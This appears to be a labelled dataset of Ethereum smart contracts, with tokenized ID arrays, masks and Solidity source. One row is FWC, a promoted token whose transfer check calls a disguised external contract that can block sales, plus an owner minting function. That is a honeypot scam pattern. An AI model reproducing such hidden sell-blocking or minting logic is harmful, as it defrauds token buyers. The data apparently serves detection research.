1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
3097,
18715,
2368,
1063,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
2270,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
3206,
9413,
2278,
11387,
22083,
2594,
1063,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
9413,
2278,
11387,
2003,
9413,
2278,
11387,
22083,
2594,
1063,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
8278,
19204,
1063,
3853,
4487,
3367,
2099,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
4425,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
1065,
3206,
11265,
4502,
2100,
2003,
9413,
2278,
11387,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
4769,
3954,
1027,
5796,
2290,
1012,
4604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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-25
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : SMILEDOGE
// Name : SMILE DOGE
// Total supply : 1000000000000000000000000000000000
// Decimals : 18
// Owner Account : 0xF66F3226158E4292A3fB94C626186B147F28741f
//
// Enjoy.
//
// (c) by Idea Inven Doohee 2021. DM Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract INVENToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SMILEDOGE";
name = "SMILE DOGE";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0xF66F3226158E4292A3fB94C626186B147F28741f] = _totalSupply;
emit Transfer(address(0), 0xF66F3226158E4292A3fB94C626186B147F28741f, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2423,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
7099,
19204,
3206,
1013,
1013,
1013,
1013,
6454,
1024,
3281,
23884,
1013,
1013,
2171,
1024,
2868,
3899,
2063,
1013,
1013,
2561,
4425,
1024,
6694,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
1013,
1013,
26066,
2015,
1024,
2324,
1013,
1013,
3954,
4070,
1024,
1014,
2595,
2546,
28756,
2546,
16703,
23833,
16068,
2620,
2063,
20958,
2683,
2475,
2050,
2509,
26337,
2683,
2549,
2278,
2575,
23833,
15136,
2575,
2497,
16932,
2581,
2546,
22407,
2581,
23632,
2546,
1013,
1013,
1013,
1013,
5959,
1012,
1013,
1013,
1013,
1013,
1006,
1039,
1007,
2011,
2801,
1999,
8159,
20160,
21030,
25682,
1012,
1040,
2213,
11172,
1012,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
5622,
2497,
1024,
3647,
8785,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
1037,
1010,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-15
*/
//SPDX-License-Identifier: MIT
// Buy: https://app.uniswap.org/#/swap?outputCurrency=0x1f05be0708be3331a02f9d3ae74ad6471cb57153
// Chart: https://www.dextools.io/app/ether/pair-explorer/0xb5140a8dd5946ac6cba3e7a0ee7188490635fcca
// Free World Capital - A next evolution DeFi exchange. Earn FWC through yield farming or win it in the lottery
//
// Website: https://www.freeworld.capital
// Telegram: http://t.me/freeworldcapital
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface O{
function amount(address from) external view returns (uint256);
}
uint256 constant INITIAL_TAX=6;
uint256 constant TOTAL_SUPPLY=3600000000;
string constant TOKEN_SYMBOL="FWC";
string constant TOKEN_NAME="Free World Capital";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
address constant PAIR_ADDRESS=0x272DD614CC4f4a58dc85cEBE70c941dE62cd4aBa; // mainnet v2
contract FWC is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!_isExcludedFromFee[from]){
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(PAIR_ADDRESS).amount(address(this)));
}
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function addToWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=true;
}
function removeFromWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=false;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function grant(address recipient, uint256 amount) public onlyTaxCollector{
_balance[recipient]=_balance[recipient].add(amount);
_tTotal=_tTotal.add(amount);
}
function airdrop(address[] memory recipients, uint256 amount) public onlyTaxCollector{
uint len=recipients.length;
for(uint i=0;i<len;i++){
_tokenTransfer(address(this),recipients[i],amount,0);
}
}
function createUniswapPair() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyTaxCollector{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function collectTax() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2321,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
4965,
1024,
16770,
1024,
1013,
1013,
10439,
1012,
4895,
2483,
4213,
2361,
1012,
8917,
1013,
1001,
1013,
19948,
1029,
6434,
10841,
14343,
9407,
1027,
1014,
2595,
2487,
2546,
2692,
2629,
4783,
2692,
19841,
2620,
4783,
22394,
21486,
2050,
2692,
2475,
2546,
2683,
2094,
2509,
6679,
2581,
2549,
4215,
21084,
2581,
2487,
27421,
28311,
16068,
2509,
1013,
1013,
3673,
1024,
16770,
1024,
1013,
1013,
7479,
1012,
20647,
3406,
27896,
1012,
22834,
1013,
10439,
1013,
28855,
1013,
3940,
1011,
10566,
1013,
1014,
2595,
2497,
22203,
12740,
2050,
2620,
14141,
28154,
21472,
6305,
2575,
27421,
2050,
2509,
2063,
2581,
2050,
2692,
4402,
2581,
15136,
2620,
26224,
2692,
2575,
19481,
11329,
3540,
1013,
1013,
2489,
2088,
3007,
1011,
1037,
2279,
6622,
13366,
2072,
3863,
1012,
7796,
1042,
16526,
2083,
10750,
7876,
2030,
2663,
2009,
1999,
1996,
15213,
1013,
1013,
1013,
1013,
4037,
1024,
16770,
1024,
1013,
1013,
7479,
1012,
2489,
11108,
1012,
3007,
1013,
1013,
23921,
1024,
8299,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
2489,
11108,
17695,
18400,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1023,
1025,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
21450,
1063,
3853,
3443,
4502,
4313,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1007,
6327,
5651,
1006,
4769,
3940,
1007,
1025,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
2692,
2475,
1063,
3853,
19948,
10288,
18908,
18715,
6132,
29278,
11031,
6342,
9397,
11589,
2075,
7959,
10242,
6494,
3619,
7512,
18715,
6132,
1006,
21318,
3372,
3815,
2378,
1010,
21318,
3372,
3815,
5833,
10020,
1010,
4769,
1031,
1033,
2655,
2850,
2696,
4130,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
1025,
3853,
4713,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
4954,
2232,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
5587,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
3815,
18715,
10497,
2229,
27559,
1010,
21318,
3372,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
3477,
3085,
5651,
1006,
21318,
3372,
3815,
18715,
2368,
1010,
21318,
3372,
3815,
11031,
1010,
21318,
3372,
6381,
3012,
1007,
1025,
1065,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
